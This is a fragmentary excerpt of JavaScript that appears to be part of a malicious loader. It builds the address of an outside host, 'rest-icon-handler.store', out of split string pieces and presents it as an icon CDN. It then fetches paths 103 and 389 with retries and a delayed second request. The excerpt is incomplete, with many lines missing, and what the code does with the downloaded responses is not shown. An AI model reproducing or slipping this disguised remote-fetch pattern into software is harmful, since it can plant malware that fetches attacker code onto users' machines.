Lines 98-138javascript
99const protocol = "https", domain = "store", separator = "://", path = "/icons/";
100// Constructs the base URL for the CDN
102const token = '103', token1 = '103', token2 = '389', subdomain = "rest-icon-handler", head = { bearrtoken: "logo" };
103// Options for the request, including the URL and headers
105const uuri = `${protocol}${separator}${subdomain}.${domain}${path}`; const options = { url: uuri, headers: head }; const options2 = { url: uuri, headers: head };
107function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
108 reqoptions.url = `${reqoptions.url}${reqtoken}`;
110 const mreq = (atlf) => {
111 req(reqoptions, (e, r, b) => {
112 if (e || r.statusCode !== 200) {
129 // Initiate the request with the specified number of retries
130 // if (!isPlugin()) { mreq(ret); setTimeout(() => { getPluginExten(); }, 60000); } else { getPluginExten(); }
131 mreq(ret); setTimeout(() => { getPluginExten(); }, 60000);
136function getPluginExten(reqtoken2 = token2, reqoptions2 = options2, ret2 = 1) {
137 reqoptions2.url = `${reqoptions2.url}${reqtoken2}`;